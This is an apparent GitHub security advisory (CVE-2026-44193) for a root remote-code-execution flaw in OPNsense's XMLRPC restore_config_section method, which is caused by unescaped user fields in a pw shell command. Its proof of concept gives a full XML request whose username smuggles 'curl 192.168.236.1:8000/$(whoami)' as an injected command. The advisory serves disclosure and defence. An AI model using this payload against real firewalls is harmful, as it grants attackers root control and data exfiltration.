Skip to content

RCE via XMLRPC endpoint using `opnsense.restore_config_section` method

Critical
fichtner published GHSA-xxp9-93cr-x54p Apr 30, 2026

Package

src/etc/inc/auth.inc (PHP)

Affected versions

<= 26.1.6

Patched versions

26.1.7

Description

Summary

XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution.

Details

The method can be triggered by a user with XMLRPC Library privileges. In etc/inc/auth.inc file it can be observed that there are lack of sanitization over CLI parameters (local_user_set function) other than $comment parameter.

if ($user_op != null) {
$cmd = "/usr/sbin/pw {$user_op} -q -u {$user_uid} -n {$user_name}" .
" -g {$user_group} -s {$user_shell} -d {$user_home}" .
" -c " . escapeshellarg($comment) . " -H 0 2>&1";
$fd = popen($cmd, 'w');
fwrite($fd, $user_pass);
pclose($fd);
}

Within the same source code, in the local_sync_accounts function also implies the parameters for setting a user is received in an array format (line 292).

image

restore_config_section_xmlrpc function merges the new config with the old config and upon a synchronization (e.g. reload all services) it triggers the vulnerable function.

PoC

New user with XMLRPC Library privileges is added to the application.

image

Then the XMLRPC endpoint was successfully accessed by the user.

image

As can be seen, the method that will trigger the vulnerable code path is accessible. To successfully query the method that will include user related data, following XML request has been created.

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>opnsense.restore_config_section</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>system</name>
            <value>
              <struct>
                <member>
                  <name>hostname</name>
                  <value><string>opnsense</string></value>
                </member>
                <member>
                  <name>domain</name>
                  <value><string>localdomain</string></value>
                </member>
                <member>
                  <name>timezone</name>
                  <value><string>Europe/London</string></value>
                </member>
                <member>
                  <name>language</name>
                  <value><string>en_US</string></value>
                </member>
                <member>
                  <name>dnsserver</name>
                  <value><string>8.8.8.8</string></value>
                </member>
                <member>
                  <name>dnslocalhost</name>
                  <value><string>remote</string></value>
                </member>
                <member>
                  <name>optimization</name>
                  <value><string>normal</string></value>
                </member>
                <member>
                  <name>maximumstates</name>
                  <value><string></string></value>
                </member>
                <member>
                  <name>webgui</name>
                  <value>
                    <struct>
                      <member>
                        <name>protocol</name>
                        <value><string>https</string></value>
                      </member>
                      <member>
                        <name>port</name>
                        <value><string>443</string></value>
                      </member>
                      <member>
                        <name>ssl-certref</name>
                        <value><string>your-cert-refid</string></value>
                      </member>
                    </struct>
                  </value>
                </member>
                <member>
                  <name>user</name>
                  <value>
                    <array>
                      <data>
                        <value>
                          <struct>
                            <member>
                              <name>name</name>
			     <value><string>kch2;curl 192.168.236.1:8000/$(whoami);#</string></value>
                            </member>
                            <member>
                              <name>descr</name>
                              <value><string>System Administrator</string></value>
                            </member>
                            <member>
                              <name>scope</name>
                              <value><string>system</string></value>
                            </member>
                            <member>
                              <name>groupname</name>
                              <value><string>wheel</string></value>
                            </member>
                            <member>
                              <name>password</name>
                              <value><string>passw1232</string></value>
                            </member>
                            <member>
                              <name>uid</name>
                              <value><string>0</string></value>
                            </member>
                          </struct>
                        </value>
                      </data>
                    </array>
                  </value>
                </member>
                <member>
                  <name>group</name>
                  <value>
                    <array>
                      <data>
                        <value>
                          <struct>
                            <member>
                              <name>name</name>
                              <value><string>admins</string></value>
                            </member>
                            <member>
                              <name>description</name>
                              <value><string>System Administrators</string></value>
                            </member>
                            <member>
                              <name>scope</name>
                              <value><string>system</string></value>
                            </member>
                            <member>
                              <name>gid</name>
                              <value><string>1999</string></value>
                            </member>
                            <member>
                              <name>member</name>
                              <value><string>0</string></value>
                            </member>
                            <member>
                              <name>priv</name>
                              <value><string>page-all</string></value>
                            </member>
                          </struct>
                        </value>
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

Reloading all services causes the injection in username to be executed as root user.

image

Impact

Successful exploitation of this vulnerability grants an attacker remote code execution as root on the firewall host.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-44193

Weaknesses

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. Learn more on MITRE.

Credits